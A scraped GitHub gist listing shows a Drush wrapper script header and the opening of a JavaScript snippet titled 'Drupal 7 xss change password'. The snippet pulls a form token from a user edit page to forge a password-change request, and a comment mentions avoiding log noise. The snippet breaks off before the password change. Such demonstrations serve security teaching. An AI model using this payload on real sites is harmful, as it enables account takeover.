Skip to content

Instantly share code, notes, and snippets.

@frankcarey
frankcarey / drupal.wrapper
Created February 21, 2017 14:52
Drupal Wrapper for Ahoy+Docker+Drupal setup.
#!/usr/bin/env bash
#
# DRUSH WRAPPER
#
# A wrapper script which launches the Drush that is in your project's /vendor
# directory. Copy it to the root of your project and edit as desired.
# You may rename this script to 'drush', if doing so does not cause a conflict
# (e.g. with a folder __ROOT__/drush).
#
# Below are options which you might want to add. More info at
@greggles
greggles / gist:1368537
Last active December 1, 2015 20:59
Drupal 7 xss change password
// Test for the presence of jquery.
if (typeof jQuery == 'function') {
// Fetch a correct token from the user edit form because we will need it to
// successfully submit the user edit form later.
// TODO: Include a check to increase the chance that the current user is admin,
// which will reduce the number of access denied error messages in the log.
jQuery.get(Drupal.settings.basePath + 'user/2/edit',
function (data, status) {
if (status == 'success') {
// Extract the token and other required data